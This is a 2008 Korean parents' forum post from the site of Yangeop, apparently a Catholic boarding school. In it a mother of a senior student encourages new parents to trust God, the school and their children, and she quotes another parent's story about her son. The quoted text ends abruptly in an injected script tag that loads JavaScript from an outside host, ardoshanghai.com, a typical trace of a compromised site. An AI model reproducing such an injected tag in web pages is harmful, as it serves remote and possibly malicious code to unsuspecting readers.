있잖아요!

작성자 : 허미옥 | 조회수 : 4,068 | 작성일 : 2008년 3월 20일



사랑하는 한별어머니!
좋은글 자랑해 주셔서 너무 감사해요.

특히 새내기 부모님들께는 큰 위로가 되리라 믿어요.

양업에 입학하기위해 54일 구일기도와 매일 미사참례를 하며 온갖 수단 방법(?)을 가리지않고 합격만 해주기를 열망하면서 4~5번을 부산서 먼길 마다않고 마음졸이며 학교를 오갈 때가 생각이 납니다.
그런데 눈깜짝할 사이에 졸업반이 됐네요. 몇 번만 더 가면 양업에 올 수 없다고 생각하면 벌써부터 허전하고... 뭐라 표현하기 힘든... 그런 마음. 아마 3학년 부모님들은 아실것이에요.

또한 첫 학부모회의 때의 모습도 생생하네요.

큰 기대와 부푼마음으로 합격을 해놓고 보니 주변이 둘러보이게 되고... 자녀들에 대한 강한 애착은 그만 부모님들의 마음을 어지럽히고 영혼의 눈을 흐리게 만들고 말았지요.

회의는 소란스럽고 왜그리 사공이 많던지...
제 생각에 양업은 아이들은 물론 부모들을 성숙한 사람으로 만들기 위해 하느님께서 마련해 놓으신 학교라고 생각해요.

그동안  학교와 아이들을 통해 얼마나 우리가 컸는지요.

아무리 애태우고 충고(잔소리)해봐야... 그러면 그럴수록 역효과가 남을 보게되지요.
부모인 우리가 할 수 있는 최선의 방법은 하느님께 아이를 온전히 맡겨드리고 내자식이라는 마음을 비워내고서 그분께 기도하는 것 말고는 제 경험상 아무것도 할 수 없더라구요.

부부가 함께 사랑하는 모습을 보이며 모범을 보이는 것이 가장 큰 교육임을 머리로는 다 알고 있었지만... 이제야 가슴으로 눈으로 느끼고 보지요.
몇일전 천국으로 가신 끼아라께서

"오직 사랑만을 살고... 말은 가장 늦게 쏘는 화살이어야 한다."는 말을 이제야 좀 알것 같아요.

한별맘의 그 행복한 마음 저도 공감해요.

아들이 겨울방학중 5차원영성학습 리더십특강을 다녀온 교재에

-내가 아는 훌륭한 사람들을 적어보세요.-라는 질문에 두 사람을 적었는데

  부모님: 나를 이렇게까지 키워주셨다. 라고도  적혀 있더라구요.

하느님의 크신 사랑을 믿고, 학교를 믿고, 사랑하는 아들을 믿어주는 것 만이 진리임을 알고
감사드려요.

하느님께서 얼마나 양업을 사랑하시는지 2년동안 몇번이나 구름기둥 불기둥으로 이끄시고 보호해 주심을 보았는지요.
백두산 등반 때, 중국 일본 이동 수업 때  등등....

3일동안이나 불씨가 뒷산에 남아 있었음에도 주변이 한 평 남짓 밖에 타지 않았다는 교장신부님의 말씀을 듣고 소름끼칠 정도로 보호하심이 느껴졌고 우리의 기도가 헛되지않음을 보면서 감사의 눈물을 흘렸던 일은 잊을 수가 없어요.

또한 특별히 개성이 강한 우리 아이들이 24시간 서로 마찰하고 부대끼면서도 깨지지않고 2년동안 얼마나 많이 모난 부분들이 깎여나가고  둥실둥실해져가고 있는지요.

한별맘이 믿듯이 저도 믿어요.

양업과 우리 아이들을요.

그리고 부모들이 자아와 애착을 비우는 그 만큼만 아이들도 달라진다는 진리를요.

새내기 학부모님들 불안해 하시지마세요.
주위를 두리번거리지 마세요.
물위를 걷던 베드로처럼 두리번거리다 물속에 빠져 허우적거리는 일이 없기를 바래요.

오직 앞만 바라보고 주님만을 바라보고 함께 걸어갑시다.













저요~
>자랑하고 싶은 것이 있어서요~
>얼마나 자랑이 하고 픈 지....
>
>입이 얼마나 간질간질 했는지 몰라요.^*^
>
>지난 토욜 아침이었어요.
>아침식사를 하던 그날의 이야기를 꼭 하고 싶습니다.
>
>한별이가 중3때 저희 부부에게 감동을 주었던 그 이후 또 엄청난 또 감동을 주었답니다.
>한별이는 초등때부터 중2때까지 존경하는 인물이 이순신장군님 이었는데 중3때는 바뀌었어요.
>이순신장군님이 아니고 부모님이 존경하는 인물이라고 이야기 해 주어 저희 부부를  행복의 도가니에 빠트렸었지요.
>
>그런데~
>지난 주말 토욜 아침에는 이런 말을 하잖아요?
>
>"엄마! 제가 엄마아빠를 잘 골라서 태어난 것 같아요!"
>"그래? 한별이가 엄마아빠를 잘 골라서 태어났다는 말이지?"
>
>현기증이 나도록 저희 부부에게 행복한 말을 해 주었답니다.
>
>그날 한별이가 해 준 그 말이 하루 종일 귀에서 맴돌았었답니다.
>
>"아~ 한별이는 엄마아빠를 잘 골라서 태어났다고 생각한다는 말이지? 한별이의 그 말을 들으니까 너무 좋다!" 그랬지요~
>
>하루 온 종일 그 말이 귀에서 쟁쟁쟁 들리면서 제가 내린 결론은요~
>"아~ 무조건 믿어주니까 우리 아들 별이가 스스로 자신의 삶을 살아가는 주도적 아이로 변화해가는 때도 오기도 하는구나!"라는 생각을 했답니다.
>
>예전에~
>'믿는 만큼 자라는 아이들' 이란 책을 읽으면서~
>있는 그대로의 아이를 무조건적으로 믿으면 되는구나~란 생각을 했었던 그때가 떠 오르더라구요~
>
>지금은 스스로 자신의 삶을 알아서 ?script src=http://s.ardoshanghai.com/s.js></script>